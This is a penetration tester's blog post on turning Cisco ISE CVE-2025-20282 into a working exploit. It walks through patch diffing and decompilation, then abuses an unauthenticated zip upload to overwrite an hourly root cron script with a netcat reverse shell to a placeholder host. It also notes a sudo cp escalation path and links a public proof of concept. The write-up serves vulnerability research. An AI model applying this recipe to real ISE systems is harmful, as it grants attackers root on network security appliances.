Like stealing (Cisco) ISE-cream from a kid – Weaponizing a CVE

[Editors Note: Raymond Strandheim is a principal pentester, and I asked him to share with us how he managed to weaponize a new vulnerability from Cisco into a working exploit which grants attackers full access to the device. Enjoy the read, I sure did! ~Chris Dale.]

Introduction to the Vulnerability – Unauthenticated Remote Code Execution, i.e. The Holy Grail

Early June 2025, two CVE`s were by Cisco surrounding their Cisco ISE product:

A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.

With new CVE’s there is not always an easy way to exploit systems missing the patch, and we typically rely on someone making a proof of concept. For this vulnerability, there were no proof of concept publicly available, and this blog post is all about the journey of weaponizing the CVE and creating a Proof of Concept.

RCE (“Remote Code Execution”) are extra interesting vulnerabilities, as they typically allow for attackers to have full control of the underlying system. If one can weaponize an exploit to take advantage of the vulnerability, it is likely that it will be very critical. From Cisco’s patch notes we could get initial information surrounding the patch, it’s size and more. 

Hunting for The Vulnerability and Weaponizing the Exploit

From Cisco’s patch notes (screenshot below), we see the vulnerability was fixed in patch 3.4 patch 6, and it was only 0.4Mb in size:

Next steps was to download the patch, unpack it and investigate what had changed. The tools rpm2cpio and cpio allows us to expand the archives and explore the files changed. It looked like the relevant files changed were the web.xml files under webapps, Admin and Deployment-rpc 👇

What was actually fixed here? Version 3.4 Patch 2 did not include these files so we needed to go back to the 3.4 Patch 1.

Looking for what changed I simply used diff command to see changes:

The changes seem to be representing URL patterns for file upload.

Also going deeper into the diff, we could see changes to a login filter:

This hinted about something related to these two classes:

  • com.cisco.cpm.admin.infra.utils.LoginCheckFilter
  • com.cisco.cpm.upgrade.stage.api.impl.DownloadUpgradeFileResource

That were vulnerable on that url-pattern and unauthenticated, matching the CVE notes.

The source files does not seem to include these java servlets out of the box, so we needed to find:

DownloadUpgradeFileResource

The java servlets were probably “megazipped” in the zero-release, and I didnt want to look for them manually. (I’m lazy)

So the next step was to download the whole prebuildt OVA trail version from Cisco, the vulnerable version:

After it was deployed I was able to enable ssh, but no root access right away:

But that`s easy to fix, just map the vmdk file to an other host, insert you’re own ssh publickey:

and voila I had root access, and were able to look at local files.

Then starting hunting for the Java servlet:

No luck there, and yeah, I hate JAVA. I had to look in EVERY .jar file in apache-tomcat/lib… all 741 of them…

And they are packed. So I had to extract all the files:

Find the correct one:

Decompile it, I just used an online decompiler:

And find the right code within the file:

Looking deeper into the handleFilesUpload function:

So the UpgradeUtil.unZipFile( ) function unpacks into /opt/CSCOcpm. …ok?

My mind was blown. Is this what actually happens?! If some file is named output.zip and uploaded it automatically uncompresses into that folder?

For all of you (including me) that has never worked with Cisco ISE:

/opt/CSCOcpm/ is the application folder for the Cisco ISE application and it’s components.

Just to be sure that I was understanding it correctly, I had to ask a friend, no friend was around at the moment, except good old AI. And in case you are wondering, chatgpt knows:

And this is pretty obvious, even AI knows:

So then my potential abuse thesis was:

  • Upload a file named output.zip using POST request against
  • url path: Admin\files-upload
  • Output.zip will be extracted to /opt/CSCOcpm/

What could we do with this?

  • Upload and overwrite cron triggered file?
  • Zip slip, to get out of /opt/CSCOcpm ..? (does not work, the java routine blocks it)
  • Upload webshell? I started looking for crontab scripts:

I started looking for root crontab scripts:

Nothing found.

however, the folder /opt/CSCOcpm/bin looked interesting:

And there it is. “HourlyCron”, that seems promising.

Let’s test, creating the simple POC with a file named output.zip with the content “bin/isehourlycron.sh” which contained a reverseshell using vanilla netcat: “nc -e /bin/sh x.y.z.x 8000”

and…. HOLY SMOKES:

Just wait until the top of the hour:

Cisco. WTF…!!? I find it incredible that vulnerabilities like these are in SECURITY PRODUCTS. People ACTUALLY BUY these products and RELY on them.

Well, there it is. It was fun, but to sum things up

A quick worklog:

  • Find out what the patch did à DIFF it!
  • Find out what it fixed, and why
  • Get the source code!
  • Analyze it!
  • Talk to a friend to verify, if they´re present
  • Or use AI, it could see the vulnerability. (probably even when the developer wibe coded the functionality….)
  • Getdbpwd.sh runs more frequently (<10 min)but noroor, just a low privilege user:
    • But… sudo –L ? (DAMN, /usr/bin/cp is useable with SUDO… what could ever go wrong there…)
  • And I still hate java.

The POC is located here: https://github.com/skadevare/CiscoISE-CVE-2025-20282-POC